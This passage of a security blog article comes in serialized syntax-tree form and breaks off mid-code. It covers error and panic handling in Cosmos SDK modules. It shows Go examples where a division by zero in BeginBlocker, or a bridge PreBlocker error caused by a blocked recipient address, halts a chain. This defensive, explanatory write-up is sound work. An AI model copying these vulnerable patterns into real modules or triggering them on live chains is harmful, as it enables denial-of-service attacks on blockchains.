props":84542,"children":84544},{"class":103,"line":84543},59,[84545],{"type":22,"tag":101,"props":84546,"children":84547},{"style":120},[84548],{"type":27,"value":188},{"type":22,"tag":23,"props":84550,"children":84551},{},[84552,84554,84559,84561,84568,84569,84576],{"type":27,"value":84553},"Additional examples of incorrect ",{"type":22,"tag":30,"props":84555,"children":84557},{"className":84556},[],[84558],{"type":27,"value":81977},{"type":27,"value":84560}," usage include ",{"type":22,"tag":80,"props":84562,"children":84565},{"href":84563,"rel":84564},"https://jumpcrypto.com/writing/bypassing-ethermint-ante-handlers",[84],[84566],{"type":27,"value":84567},"yet more bypassable checks and loss of funds",{"type":27,"value":209},{"type":22,"tag":80,"props":84570,"children":84573},{"href":84571,"rel":84572},"https://github.com/cosmos/ibc-go/issues/853",[84],[84574],{"type":27,"value":84575},"incorrect data passing between blockchains",{"type":27,"value":231},{"type":22,"tag":53,"props":84578,"children":84580},{"id":84579},"errors-panics-i-can-handle-it",[84581],{"type":27,"value":84582},"Errors? Panics? I can handle it",{"type":22,"tag":23,"props":84584,"children":84585},{},[84586],{"type":27,"value":84587},"Smart contract developers are used to not properly handling errors. This is acceptable since most underlying blockchains revert all state changes when execution fails.",{"type":22,"tag":23,"props":84589,"children":84590},{},[84591],{"type":27,"value":84592},"Cosmos is designed to provide a similar experience. Whenever some message handler returns an error, changes to the persistent state are dropped. Panics are handled similarly, where a recovery handler is wrapped around the message execution to convert panics into errors for a downstream process.",{"type":22,"tag":23,"props":84594,"children":84595},{},[84596,84598,84604,84606,84611],{"type":27,"value":84597},"This design is pretty neat and allows developers to write code in a rather lazy way. For instance, the following code works perfectly fine. If ",{"type":22,"tag":30,"props":84599,"children":84601},{"className":84600},[],[84602],{"type":27,"value":84603},"k.keeper.TotalReward()",{"type":27,"value":84605}," returns zero, the ",{"type":22,"tag":30,"props":84607,"children":84609},{"className":84608},[],[84610],{"type":27,"value":61943},{"type":27,"value":84612}," execution will simply rollback as if nothing has happened.",{"type":22,"tag":91,"props":84614,"children":84616},{"code":84615,"language":79671,"meta":7,"className":79672,"style":7},"func (k msgServer) AllocateReward(\n goCtx context.Context,\n msg *types.MsgAllocateReward)\n(*types.MsgAllocatRewardResponse, error) {\n\n RewardPerShare := k.keeper.Shares() / k.keeper.TotalReward()\n k.keeper.DistributeReward(RewardPerShare)\n\n return &types.MsgAllocateRewardResponse, nil\n}\n",[84617],{"type":22,"tag":30,"props":84618,"children":84619},{"__ignoreMap":7},[84620,84653,84676,84704,84740,84747,84816,84854,84861,84893],{"type":22,"tag":101,"props":84621,"children":84622},{"class":103,"line":104},[84623,84627,84631,84636,84640,84644,84649],{"type":22,"tag":101,"props":84624,"children":84625},{"style":108},[84626],{"type":27,"value":79807},{"type":22,"tag":101,"props":84628,"children":84629},{"style":120},[84630],{"type":27,"value":3603},{"type":22,"tag":101,"props":84632,"children":84633},{"style":126},[84634],{"type":27,"value":84635},"k ",{"type":22,"tag":101,"props":84637,"children":84638},{"style":114},[84639],{"type":27,"value":79821},{"type":22,"tag":101,"props":84641,"children":84642},{"style":120},[84643],{"type":27,"value":901},{"type":22,"tag":101,"props":84645,"children":84646},{"style":926},[84647],{"type":27,"value":84648},"AllocateReward",{"type":22,"tag":101,"props":84650,"children":84651},{"style":120},[84652],{"type":27,"value":1850},{"type":22,"tag":101,"props":84654,"children":84655},{"class":103,"line":157},[84656,84660,84664,84668,84672],{"type":22,"tag":101,"props":84657,"children":84658},{"style":126},[84659],{"type":27,"value":79842},{"type":22,"tag":101,"props":84661,"children":84662},{"style":114},[84663],{"type":27,"value":79847},{"type":22,"tag":101,"props":84665,"children":84666},{"style":120},[84667],{"type":27,"value":231},{"type":22,"tag":101,"props":84669,"children":84670},{"style":114},[84671],{"type":27,"value":79856},{"type":22,"tag":101,"props":84673,"children":84674},{"style":120},[84675],{"type":27,"value":179},{"type":22,"tag":101,"props":84677,"children":84678},{"class":103,"line":182},[84679,84683,84687,84691,84695,84700],{"type":22,"tag":101,"props":84680,"children":84681},{"style":126},[84682],{"type":27,"value":79868},{"type":22,"tag":101,"props":84684,"children":84685},{"style":166},[84686],{"type":27,"value":13822},{"type":22,"tag":101,"props":84688,"children":84689},{"style":114},[84690],{"type":27,"value":9802},{"type":22,"tag":101,"props":84692,"children":84693},{"style":120},[84694],{"type":27,"value":231},{"type":22,"tag":101,"props":84696,"children":84697},{"style":114},[84698],{"type":27,"value":84699},"MsgAllocateReward",{"type":22,"tag":101,"props":84701,"children":84702},{"style":120},[84703],{"type":27,"value":2510},{"type":22,"tag":101,"props":84705,"children":84706},{"class":103,"line":367},[84707,84711,84715,84719,84723,84728,84732,84736],{"type":22,"tag":101,"props":84708,"children":84709},{"style":120},[84710],{"type":27,"value":980},{"type":22,"tag":101,"props":84712,"children":84713},{"style":166},[84714],{"type":27,"value":8615},{"type":22,"tag":101,"props":84716,"children":84717},{"style":114},[84718],{"type":27,"value":9802},{"type":22,"tag":101,"props":84720,"children":84721},{"style":120},[84722],{"type":27,"value":231},{"type":22,"tag":101,"props":84724,"children":84725},{"style":114},[84726],{"type":27,"value":84727},"MsgAllocatRewardResponse",{"type":22,"tag":101,"props":84729,"children":84730},{"style":120},[84731],{"type":27,"value":758},{"type":22,"tag":101,"props":84733,"children":84734},{"style":114},[84735],{"type":27,"value":18865},{"type":22,"tag":101,"props":84737,"children":84738},{"style":120},[84739],{"type":27,"value":1463},{"type":22,"tag":101,"props":84741,"children":84742},{"class":103,"line":398},[84743],{"type":22,"tag":101,"props":84744,"children":84745},{"emptyLinePlaceholder":15},[84746],{"type":27,"value":1581},{"type":22,"tag":101,"props":84748,"children":84749},{"class":103,"line":428},[84750,84755,84759,84764,84768,84773,84777,84782,84786,84790,84795,84799,84803,84807,84812],{"type":22,"tag":101,"props":84751,"children":84752},{"style":126},[84753],{"type":27,"value":84754}," RewardPerShare",{"type":22,"tag":101,"props":84756,"children":84757},{"style":166},[84758],{"type":27,"value":79923},{"type":22,"tag":101,"props":84760,"children":84761},{"style":126},[84762],{"type":27,"value":84763}," k",{"type":22,"tag":101,"props":84765,"children":84766},{"style":120},[84767],{"type":27,"value":231},{"type":22,"tag":101,"props":84769,"children":84770},{"style":126},[84771],{"type":27,"value":84772},"keeper",{"type":22,"tag":101,"props":84774,"children":84775},{"style":120},[84776],{"type":27,"value":231},{"type":22,"tag":101,"props":84778,"children":84779},{"style":926},[84780],{"type":27,"value":84781},"Shares",{"type":22,"tag":101,"props":84783,"children":84784},{"style":120},[84785],{"type":27,"value":18045},{"type":22,"tag":101,"props":84787,"children":84788},{"style":166},[84789],{"type":27,"value":8625},{"type":22,"tag":101,"props":84791,"children":84792},{"style":126},[84793],{"type":27,"value":84794}," k",{"type":22,"tag":101,"props":84796,"children":84797},{"style":120},[84798],{"type":27,"value":231},{"type":22,"tag":101,"props":84800,"children":84801},{"style":126},[84802],{"type":27,"value":84772},{"type":22,"tag":101,"props":84804,"children":84805},{"style":120},[84806],{"type":27,"value":231},{"type":22,"tag":101,"props":84808,"children":84809},{"style":926},[84810],{"type":27,"value":84811},"TotalReward",{"type":22,"tag":101,"props":84813,"children":84814},{"style":120},[84815],{"type":27,"value":11746},{"type":22,"tag":101,"props":84817,"children":84818},{"class":103,"line":997},[84819,84824,84828,84832,84836,84841,84845,84850],{"type":22,"tag":101,"props":84820,"children":84821},{"style":126},[84822],{"type":27,"value":84823}," k",{"type":22,"tag":101,"props":84825,"children":84826},{"style":120},[84827],{"type":27,"value":231},{"type":22,"tag":101,"props":84829,"children":84830},{"style":126},[84831],{"type":27,"value":84772},{"type":22,"tag":101,"props":84833,"children":84834},{"style":120},[84835],{"type":27,"value":231},{"type":22,"tag":101,"props":84837,"children":84838},{"style":926},[84839],{"type":27,"value":84840},"DistributeReward",{"type":22,"tag":101,"props":84842,"children":84843},{"style":120},[84844],{"type":27,"value":980},{"type":22,"tag":101,"props":84846,"children":84847},{"style":126},[84848],{"type":27,"value":84849},"RewardPerShare",{"type":22,"tag":101,"props":84851,"children":84852},{"style":120},[84853],{"type":27,"value":2510},{"type":22,"tag":101,"props":84855,"children":84856},{"class":103,"line":1032},[84857],{"type":22,"tag":101,"props":84858,"children":84859},{"emptyLinePlaceholder":15},[84860],{"type":27,"value":1581},{"type":22,"tag":101,"props":84862,"children":84863},{"class":103,"line":1063},[84864,84868,84872,84876,84880,84885,84889],{"type":22,"tag":101,"props":84865,"children":84866},{"style":3595},[84867],{"type":27,"value":20986},{"type":22,"tag":101,"props":84869,"children":84870},{"style":166},[84871],{"type":27,"value":870},{"type":22,"tag":101,"props":84873,"children":84874},{"style":126},[84875],{"type":27,"value":9802},{"type":22,"tag":101,"props":84877,"children":84878},{"style":120},[84879],{"type":27,"value":231},{"type":22,"tag":101,"props":84881,"children":84882},{"style":126},[84883],{"type":27,"value":84884},"MsgAllocateRewardResponse",{"type":22,"tag":101,"props":84886,"children":84887},{"style":120},[84888],{"type":27,"value":758},{"type":22,"tag":101,"props":84890,"children":84891},{"style":108},[84892],{"type":27,"value":80149},{"type":22,"tag":101,"props":84894,"children":84895},{"class":103,"line":1071},[84896],{"type":22,"tag":101,"props":84897,"children":84898},{"style":120},[84899],{"type":27,"value":188},{"type":22,"tag":23,"props":84901,"children":84902},{},[84903,84905,84911,84912,84918,84919,84925,84927,84932],{"type":27,"value":84904},"However, the same assumption does not always hold. Certain parts of Cosmos, such as ",{"type":22,"tag":30,"props":84906,"children":84908},{"className":84907},[],[84909],{"type":27,"value":84910},"PreBlocker",{"type":27,"value":758},{"type":22,"tag":30,"props":84913,"children":84915},{"className":84914},[],[84916],{"type":27,"value":84917},"BeginBlocker",{"type":27,"value":10515},{"type":22,"tag":30,"props":84920,"children":84922},{"className":84921},[],[84923],{"type":27,"value":84924},"EndBlocker",{"type":27,"value":84926},", are not protected by the error handling mechanism. So, if we move the reward distribution logic into ",{"type":22,"tag":30,"props":84928,"children":84930},{"className":84929},[],[84931],{"type":27,"value":84917},{"type":27,"value":84933}," to automatically distribute rewards at the start of each block, panics raised by division by 0 will halt the chain.",{"type":22,"tag":91,"props":84935,"children":84937},{"code":84936,"language":79671,"meta":7,"className":79672,"style":7},"func BeginBlocker(ctx context.Context, keeper keeper.Keeper) error {\n\n RewardPerShare := keeper.Shares() / keeper.TotalReward()\n keeper.DistributeReward(RewardPerShare)\n\n return nil\n}\n",[84938],{"type":22,"tag":30,"props":84939,"children":84940},{"__ignoreMap":7},[84941,85006,85013,85061,85089,85096,85108],{"type":22,"tag":101,"props":84942,"children":84943},{"class":103,"line":104},[84944,84948,84953,84957,84961,84965,84969,84973,84977,84981,84986,84990,84994,84998,85002],{"type":22,"tag":101,"props":84945,"children":84946},{"style":108},[84947],{"type":27,"value":79807},{"type":22,"tag":101,"props":84949,"children":84950},{"style":926},[84951],{"type":27,"value":84952}," BeginBlocker",{"type":22,"tag":101,"props":84954,"children":84955},{"style":120},[84956],{"type":27,"value":980},{"type":22,"tag":101,"props":84958,"children":84959},{"style":126},[84960],{"type":27,"value":24271},{"type":22,"tag":101,"props":84962,"children":84963},{"style":114},[84964],{"type":27,"value":79847},{"type":22,"tag":101,"props":84966,"children":84967},{"style":120},[84968],{"type":27,"value":231},{"type":22,"tag":101,"props":84970,"children":84971},{"style":114},[84972],{"type":27,"value":79856},{"type":22,"tag":101,"props":84974,"children":84975},{"style":120},[84976],{"type":27,"value":758},{"type":22,"tag":101,"props":84978,"children":84979},{"style":126},[84980],{"type":27,"value":84772},{"type":22,"tag":101,"props":84982,"children":84983},{"style":114},[84984],{"type":27,"value":84985}," keeper",{"type":22,"tag":101,"props":84987,"children":84988},{"style":120},[84989],{"type":27,"value":231},{"type":22,"tag":101,"props":84991,"children":84992},{"style":114},[84993],{"type":27,"value":83452},{"type":22,"tag":101,"props":84995,"children":84996},{"style":120},[84997],{"type":27,"value":901},{"type":22,"tag":101,"props":84999,"children":85000},{"style":114},[85001],{"type":27,"value":18865},{"type":22,"tag":101,"props":85003,"children":85004},{"style":120},[85005],{"type":27,"value":154},{"type":22,"tag":101,"props":85007,"children":85008},{"class":103,"line":157},[85009],{"type":22,"tag":101,"props":85010,"children":85011},{"emptyLinePlaceholder":15},[85012],{"type":27,"value":1581},{"type":22,"tag":101,"props":85014,"children":85015},{"class":103,"line":182},[85016,85020,85024,85028,85032,85036,85040,85044,85049,85053,85057],{"type":22,"tag":101,"props":85017,"children":85018},{"style":126},[85019],{"type":27,"value":84754},{"type":22,"tag":101,"props":85021,"children":85022},{"style":166},[85023],{"type":27,"value":79923},{"type":22,"tag":101,"props":85025,"children":85026},{"style":126},[85027],{"type":27,"value":84985},{"type":22,"tag":101,"props":85029,"children":85030},{"style":120},[85031],{"type":27,"value":231},{"type":22,"tag":101,"props":85033,"children":85034},{"style":926},[85035],{"type":27,"value":84781},{"type":22,"tag":101,"props":85037,"children":85038},{"style":120},[85039],{"type":27,"value":18045},{"type":22,"tag":101,"props":85041,"children":85042},{"style":166},[85043],{"type":27,"value":8625},{"type":22,"tag":101,"props":85045,"children":85046},{"style":126},[85047],{"type":27,"value":85048}," keeper",{"type":22,"tag":101,"props":85050,"children":85051},{"style":120},[85052],{"type":27,"value":231},{"type":22,"tag":101,"props":85054,"children":85055},{"style":926},[85056],{"type":27,"value":84811},{"type":22,"tag":101,"props":85058,"children":85059},{"style":120},[85060],{"type":27,"value":11746},{"type":22,"tag":101,"props":85062,"children":85063},{"class":103,"line":367},[85064,85069,85073,85077,85081,85085],{"type":22,"tag":101,"props":85065,"children":85066},{"style":126},[85067],{"type":27,"value":85068}," keeper",{"type":22,"tag":101,"props":85070,"children":85071},{"style":120},[85072],{"type":27,"value":231},{"type":22,"tag":101,"props":85074,"children":85075},{"style":926},[85076],{"type":27,"value":84840},{"type":22,"tag":101,"props":85078,"children":85079},{"style":120},[85080],{"type":27,"value":980},{"type":22,"tag":101,"props":85082,"children":85083},{"style":126},[85084],{"type":27,"value":84849},{"type":22,"tag":101,"props":85086,"children":85087},{"style":120},[85088],{"type":27,"value":2510},{"type":22,"tag":101,"props":85090,"children":85091},{"class":103,"line":398},[85092],{"type":22,"tag":101,"props":85093,"children":85094},{"emptyLinePlaceholder":15},[85095],{"type":27,"value":1581},{"type":22,"tag":101,"props":85097,"children":85098},{"class":103,"line":428},[85099,85103],{"type":22,"tag":101,"props":85100,"children":85101},{"style":3595},[85102],{"type":27,"value":56862},{"type":22,"tag":101,"props":85104,"children":85105},{"style":108},[85106],{"type":27,"value":85107}," nil\n",{"type":22,"tag":101,"props":85109,"children":85110},{"class":103,"line":997},[85111],{"type":22,"tag":101,"props":85112,"children":85113},{"style":120},[85114],{"type":27,"value":188},{"type":22,"tag":1760,"props":85116,"children":85118},{"id":85117},"real-world-examples-3",[85119],{"type":27,"value":80196},{"type":22,"tag":23,"props":85121,"children":85122},{},[85123],{"type":27,"value":85124},"Recently, developers have become increasingly aware of unprotected ABCI functions, but this doesn't stop DoS bugs from manifesting. So what is the catch?",{"type":22,"tag":23,"props":85126,"children":85127},{},[85128,85130,85136,85138,85143,85145,85151,85153,85159,85161,85167],{"type":27,"value":85129},"The problem lies in the lack of proper understanding of utility functions. The example here implements a bridge that mints wrapped BTC tokens in the PreBlocker when bridging events are observed. Notably, errors returned by ",{"type":22,"tag":30,"props":85131,"children":85133},{"className":85132},[],[85134],{"type":27,"value":85135},"bankKeeper.SendCoinsFromModuleToAccount",{"type":27,"value":85137}," will be bubbled up through ",{"type":22,"tag":30,"props":85139,"children":85141},{"className":85140},[],[85142],{"type":27,"value":84910},{"type":27,"value":85144}," and halt the chain. It turns out an attacker can force ",{"type":22,"tag":30,"props":85146,"children":85148},{"className":85147},[],[85149],{"type":27,"value":85150},"SendCoinsFromModuleToAccount",{"type":27,"value":85152}," to return an error by setting ",{"type":22,"tag":30,"props":85154,"children":85156},{"className":85155},[],[85157],{"type":27,"value":85158},"recipient",{"type":27,"value":85160}," to some ",{"type":22,"tag":30,"props":85162,"children":85164},{"className":85163},[],[85165],{"type":27,"value":85166},"BlockedAddr",{"type":27,"value":85168},",rendering the code susceptible to DoS attacks.",{"type":22,"tag":23,"props":85170,"children":85171},{},[85172],{"type":22,"tag":80,"props":85173,"children":85176},{"href":85174,"rel":85175},"https://github.com/mezo-org/mezod/blob/d3b1a049a9acce977fdadd245cb381252f101922/x/bridge/keeper/assets_locked.go#L170",[84],[85177],{"type":27,"value":80246},{"type":22,"tag":91,"props":85179,"children":85181},{"code":85180,"language":79671,"meta":7,"className":79672,"style":7},"func (pbh *PreBlockHandler) PreBlocker() sdk.PreBlocker {\n return func(\n ctx sdk.Context,\n req *cmtabci.RequestFinalizeBlock,\n ) (*sdk.ResponsePreBlock, error) {\n ...\n err := pbh.bridgeKeeper.AcceptAssetsLocked(ctx, events)\n if err != nil {\n return nil, fmt.Errorf(\"cannot accept AssetsLocked events: %w\", err)\n }\n ...\n }\n}\n\nfunc (k Keeper) AcceptAssetsLocked(\n ctx sdk.Context,\n events types.AssetsLockedEvents,\n) error {\n ...\n for _, event := range events {\n recipient, err := sdk.AccAddressFromBech32(event.Recipient)\n if err != nil {\n return fmt.Errorf(\"failed to parse recipient address: %w\", err)\n }\n\n if bytes.Equal(event.TokenBytes(), sourceBTCToken) {\n err = k.mintBTC(ctx, recipient, event.Amount)\n if err != nil {\n return fmt.Errorf(\n \"failed to mint BTC for event %v: %w\",\n event.Sequence,\n err,\n )\n }\n } else {\n ...\n }\n }\n ...\n}\n\nfunc (k Keeper) mintBTC(\n ctx sdk.Context,\n recipient sdk.AccAddress,\n amount math.Int,\n) error {\n ...\n err = k.bankKeeper.SendCoinsFromModuleToAccount(\n ctx,\n types.ModuleName,\n recipient,\n coins,\n )\n if err != nil {\n return fmt.Errorf(\"failed to send coins: %w\", err)\n }\n ...\n}\n",[85182],{"type":22,"tag":30,"props":85183,"children":85184},{"__ignoreMap":7},[85185,85238,85253,85276,85306,85342,85350,85406,85430,85480,85487,85494,85501,85508,85515,85546,85569,85594,85609,85616,85653,85707,85730,85771,85778,85785,85836,85897,85920,85943,85955,85976,85988,85996,86003,86018,86026,86033,86040,86047,86054,86061,86092,86115,86140,86165,86180,86187,86224,86235,86256,86267,86279,86286,86309,86349,86356,86363],{"type":22,"tag":101,"props":85186,"children":85187},{"class":103,"line":104},[85188,85192,85196,85201,85205,85210,85214,85218,85222,85226,85230,85234],{"type":22,"tag":101,"props":85189,"children":85190},{"style":108},[85191],{"type":27,"value":79807},{"type":22,"tag":101,"props":85193,"children":85194},{"style":120},[85195],{"type":27,"value":3603},{"type":22,"tag":101,"props":85197,"children":85198},{"style":126},[85199],{"type":27,"value":85200},"pbh ",{"type":22,"tag":101,"props":85202,"children":85203},{"style":166},[85204],{"type":27,"value":8615},{"type":22,"tag":101,"props":85206,"children":85207},{"style":114},[85208],{"type":27,"value":85209},"PreBlockHandler",{"type":22,"tag":101,"props":85211,"children":85212},{"style":120},[85213],{"type":27,"value":901},{"type":22,"tag":101,"props":85215,"children":85216},{"style":926},[85217],{"type":27,"value":84910},{"type":22,"tag":101,"props":85219,"children":85220},{"style":120},[85221],{"type":27,"value":18045},{"type":22,"tag":101,"props":85223,"children":85224},{"style":114},[85225],{"type":27,"value":82237},{"type":22,"tag":101,"props":85227,"children":85228},{"style":120},[85229],{"type":27,"value":231},{"type":22,"tag":101,"props":85231,"children":85232},{"style":114},[85233],{"type":27,"value":84910},{"type":22,"tag":101,"props":85235,"children":85236},{"style":120},[85237],{"type":27,"value":154},{"type":22,"tag":101,"props":85239,"children":85240},{"class":103,"line":157},[85241,85245,85249],{"type":22,"tag":101,"props":85242,"children":85243},{"style":3595},[85244],{"type":27,"value":20986},{"type":22,"tag":101,"props":85246,"children":85247},{"style":108},[85248],{"type":27,"value":83516},{"type":22,"tag":101,"props":85250,"children":85251},{"style":120},[85252],{"type":27,"value":1850},{"type":22,"tag":101,"props":85254,"children":85255},{"class":103,"line":182},[85256,85260,85264,85268,85272],{"type":22,"tag":101,"props":85257,"children":85258},{"style":126},[85259],{"type":27,"value":30184},{"type":22,"tag":101,"props":85261,"children":85262},{"style":114},[85263],{"type":27,"value":82148},{"type":22,"tag":101,"props":85265,"children":85266},{"style":120},[85267],{"type":27,"value":231},{"type":22,"tag":101,"props":85269,"children":85270},{"style":114},[85271],{"type":27,"value":79856},{"type":22,"tag":101,"props":85273,"children":85274},{"style":120},[85275],{"type":27,"value":179},{"type":22,"tag":101,"props":85277,"children":85278},{"class":103,"line":367},[85279,85284,85288,85293,85297,85302],{"type":22,"tag":101,"props":85280,"children":85281},{"style":126},[85282],{"type":27,"value":85283}," req",{"type":22,"tag":101,"props":85285,"children":85286},{"style":166},[85287],{"type":27,"value":13822},{"type":22,"tag":101,"props":85289,"children":85290},{"style":114},[85291],{"type":27,"value":85292},"cmtabci",{"type":22,"tag":101,"props":85294,"children":85295},{"style":120},[85296],{"type":27,"value":231},{"type":22,"tag":101,"props":85298,"children":85299},{"style":114},[85300],{"type":27,"value":85301},"RequestFinalizeBlock",{"type":22,"tag":101,"props":85303,"children":85304},{"style":120},[85305],{"type":27,"value":179},{"type":22,"tag":101,"props":85307,"children":85308},{"class":103,"line":398},[85309,85313,85317,85321,85325,85330,85334,85338],{"type":22,"tag":101,"props":85310,"children":85311},{"style":120},[85312],{"type":27,"value":83584},{"type":22,"tag":101,"props":85314,"children":85315},{"style":166},[85316],{"type":27,"value":8615},{"type":22,"tag":101,"props":85318,"children":85319},{"style":114},[85320],{"type":27,"value":82237},{"type":22,"tag":101,"props":85322,"children":85323},{"style":120},[85324],{"type":27,"value":231},{"type":22,"tag":101,"props":85326,"children":85327},{"style":114},[85328],{"type":27,"value":85329},"ResponsePreBlock",{"type":22,"tag":101,"props":85331,"children":85332},{"style":120},[85333],{"type":27,"value":758},{"type":22,"tag":101,"props":85335,"children":85336},{"style":114},[85337],{"type":27,"value":18865},{"type":22,"tag":101,"props":85339,"children":85340},{"style":120},[85341],{"type":27,"value":1463},{"type":22,"tag":101,"props":85343,"children":85344},{"class":103,"line":428},[85345],{"type":22,"tag":101,"props":85346,"children":85347},{"style":166},[85348],{"type":27,"value":85349}," ...\n",{"type":22,"tag":101,"props":85351,"children":85352},{"class":103,"line":997},[85353,85358,85362,85367,85371,85376,85380,85385,85389,85393,85397,85402],{"type":22,"tag":101,"props":85354,"children":85355},{"style":126},[85356],{"type":27,"value":85357}," err",{"type":22,"tag":101,"props":85359,"children":85360},{"style":166},[85361],{"type":27,"value":79923},{"type":22,"tag":101,"props":85363,"children":85364},{"style":126},[85365],{"type":27,"value":85366}," pbh",{"type":22,"tag":101,"props":85368,"children":85369},{"style":120},[85370],{"type":27,"value":231},{"type":22,"tag":101,"props":85372,"children":85373},{"style":126},[85374],{"type":27,"value":85375},"bridgeKeeper",{"type":22,"tag":101,"props":85377,"children":85378},{"style":120},[85379],{"type":27,"value":231},{"type":22,"tag":101,"props":85381,"children":85382},{"style":926},[85383],{"type":27,"value":85384},"AcceptAssetsLocked",{"type":22,"tag":101,"props":85386,"children":85387},{"style":120},[85388],{"type":27,"value":980},{"type":22,"tag":101,"props":85390,"children":85391},{"style":126},[85392],{"type":27,"value":24271},{"type":22,"tag":101,"props":85394,"children":85395},{"style":120},[85396],{"type":27,"value":758},{"type":22,"tag":101,"props":85398,"children":85399},{"style":126},[85400],{"type":27,"value":85401},"events",{"type":22,"tag":101,"props":85403,"children":85404},{"style":120},[85405],{"type":27,"value":2510},{"type":22,"tag":101,"props":85407,"children":85408},{"class":103,"line":1032},[85409,85413,85417,85421,85426],{"type":22,"tag":101,"props":85410,"children":85411},{"style":3595},[85412],{"type":27,"value":7312},{"type":22,"tag":101,"props":85414,"children":85415},{"style":126},[85416],{"type":27,"value":52518},{"type":22,"tag":101,"props":85418,"children":85419},{"style":166},[85420],{"type":27,"value":3612},{"type":22,"tag":101,"props":85422,"children":85423},{"style":108},[85424],{"type":27,"value":85425}," nil",{"type":22,"tag":101,"props":85427,"children":85428},{"style":120},[85429],{"type":27,"value":154},{"type":22,"tag":101,"props":85431,"children":85432},{"class":103,"line":1063},[85433,85437,85441,85445,85450,85454,85459,85463,85468,85472,85476],{"type":22,"tag":101,"props":85434,"children":85435},{"style":3595},[85436],{"type":27,"value":82583},{"type":22,"tag":101,"props":85438,"children":85439},{"style":108},[85440],{"type":27,"value":85425},{"type":22,"tag":101,"props":85442,"children":85443},{"style":120},[85444],{"type":27,"value":758},{"type":22,"tag":101,"props":85446,"children":85447},{"style":126},[85448],{"type":27,"value":85449},"fmt",{"type":22,"tag":101,"props":85451,"children":85452},{"style":120},[85453],{"type":27,"value":231},{"type":22,"tag":101,"props":85455,"children":85456},{"style":926},[85457],{"type":27,"value":85458},"Errorf",{"type":22,"tag":101,"props":85460,"children":85461},{"style":120},[85462],{"type":27,"value":980},{"type":22,"tag":101,"props":85464,"children":85465},{"style":6476},[85466],{"type":27,"value":85467},"\"cannot accept AssetsLocked events: %w\"",{"type":22,"tag":101,"props":85469,"children":85470},{"style":120},[85471],{"type":27,"value":758},{"type":22,"tag":101,"props":85473,"children":85474},{"style":126},[85475],{"type":27,"value":52417},{"type":22,"tag":101,"props":85477,"children":85478},{"style":120},[85479],{"type":27,"value":2510},{"type":22,"tag":101,"props":85481,"children":85482},{"class":103,"line":1071},[85483],{"type":22,"tag":101,"props":85484,"children":85485},{"style":120},[85486],{"type":27,"value":2398},{"type":22,"tag":101,"props":85488,"children":85489},{"class":103,"line":1110},[85490],{"type":22,"tag":101,"props":85491,"children":85492},{"style":166},[85493],{"type":27,"value":85349},{"type":22,"tag":101,"props":85495,"children":85496},{"class":103,"line":1118},[85497],{"type":22,"tag":101,"props":85498,"children":85499},{"style":120},[85500],{"type":27,"value":1734},{"type":22,"tag":101,"props":85502,"children":85503},{"class":103,"line":1158},[85504],{"type":22,"tag":101,"props":85505,"children":85506},{"style":120},[85507],{"type":27,"value":188},{"type":22,"tag":101,"props":85509,"children":85510},{"class":103,"line":1166},[85511],{"type":22,"tag":101,"props":85512,"children":85513},{"emptyLinePlaceholder":15},[85514],{"type":27,"value":1581},{"type":22,"tag":101,"props":85516,"children":85517},{"class":103,"line":1215},[85518,85522,85526,85530,85534,85538,85542],{"type":22,"tag":101,"props":85519,"children":85520},{"style":108},[85521],{"type":27,"value":79807},{"type":22,"tag":101,"props":85523,"children":85524},{"style":120},[85525],{"type":27,"value":3603},{"type":22,"tag":101,"props":85527,"children":85528},{"style":126},[85529],{"type":27,"value":84635},{"type":22,"tag":101,"props":85531,"children":85532},{"style":114},[85533],{"type":27,"value":83452},{"type":22,"tag":101,"props":85535,"children":85536},{"style":120},[85537],{"type":27,"value":901},{"type":22,"tag":101,"props":85539,"children":85540},{"style":926},[85541],{"type":27,"value":85384},{"type":22,"tag":101,"props":85543,"children":85544},{"style":120},[85545],{"type":27,"value":1850},{"type":22,"tag":101,"props":85547,"children":85548},{"class":103,"line":2425},[85549,85553,85557,85561,85565],{"type":22,"tag":101,"props":85550,"children":85551},{"style":126},[85552],{"type":27,"value":24215},{"type":22,"tag":101,"props":85554,"children":85555},{"style":114},[85556],{"type":27,"value":82148},{"type":22,"tag":101,"props":85558,"children":85559},{"style":120},[85560],{"type":27,"value":231},{"type":22,"tag":101,"props":85562,"children":85563},{"style":114},[85564],{"type":27,"value":79856},{"type":22,"tag":101,"props":85566,"children":85567},{"style":120},[85568],{"type":27,"value":179},{"type":22,"tag":101,"props":85570,"children":85571},{"class":103,"line":5417},[85572,85577,85581,85585,85590],{"type":22,"tag":101,"props":85573,"children":85574},{"style":126},[85575],{"type":27,"value":85576}," events",{"type":22,"tag":101,"props":85578,"children":85579},{"style":114},[85580],{"type":27,"value":81682},{"type":22,"tag":101,"props":85582,"children":85583},{"style":120},[85584],{"type":27,"value":231},{"type":22,"tag":101,"props":85586,"children":85587},{"style":114},[85588],{"type":27,"value":85589},"AssetsLockedEvents",{"type":22,"tag":101,"props":85591,"children":85592},{"style":120},[85593],{"type":27,"value":179},{"type":22,"tag":101,"props":85595,"children":85596},{"class":103,"line":7714},[85597,85601,85605],{"type":22,"tag":101,"props":85598,"children":85599},{"style":120},[85600],{"type":27,"value":901},{"type":22,"tag":101,"props":85602,"children":85603},{"style":114},[85604],{"type":27,"value":18865},{"type":22,"tag":101,"props":85606,"children":85607},{"style":120},[85608],{"type":27,"value":154},{"type":22,"tag":101,"props":85610,"children":85611},{"class":103,"line":7723},[85612],{"type":22,"tag":101,"props":85613,"children":85614},{"style":166},[85615],{"type":27,"value":24329},{"type":22,"tag":101,"props":85617,"children":85618},{"class":103,"line":7791},[85619,85623,85627,85631,85636,85640,85644,85649],{"type":22,"tag":101,"props":85620,"children":85621},{"style":3595},[85622],{"type":27,"value":7078},{"type":22,"tag":101,"props":85624,"children":85625},{"style":126},[85626],{"type":27,"value":1501},{"type":22,"tag":101,"props":85628,"children":85629},{"style":120},[85630],{"type":27,"value":758},{"type":22,"tag":101,"props":85632,"children":85633},{"style":126},[85634],{"type":27,"value":85635},"event",{"type":22,"tag":101,"props":85637,"children":85638},{"style":166},[85639],{"type":27,"value":79923},{"type":22,"tag":101,"props":85641,"children":85642},{"style":3595},[85643],{"type":27,"value":80906},{"type":22,"tag":101,"props":85645,"children":85646},{"style":126},[85647],{"type":27,"value":85648}," events",{"type":22,"tag":101,"props":85650,"children":85651},{"style":120},[85652],{"type":27,"value":154},{"type":22,"tag":101,"props":85654,"children":85655},{"class":103,"line":7799},[85656,85661,85665,85669,85673,85677,85681,85686,85690,85694,85698,85703],{"type":22,"tag":101,"props":85657,"children":85658},{"style":126},[85659],{"type":27,"value":85660}," 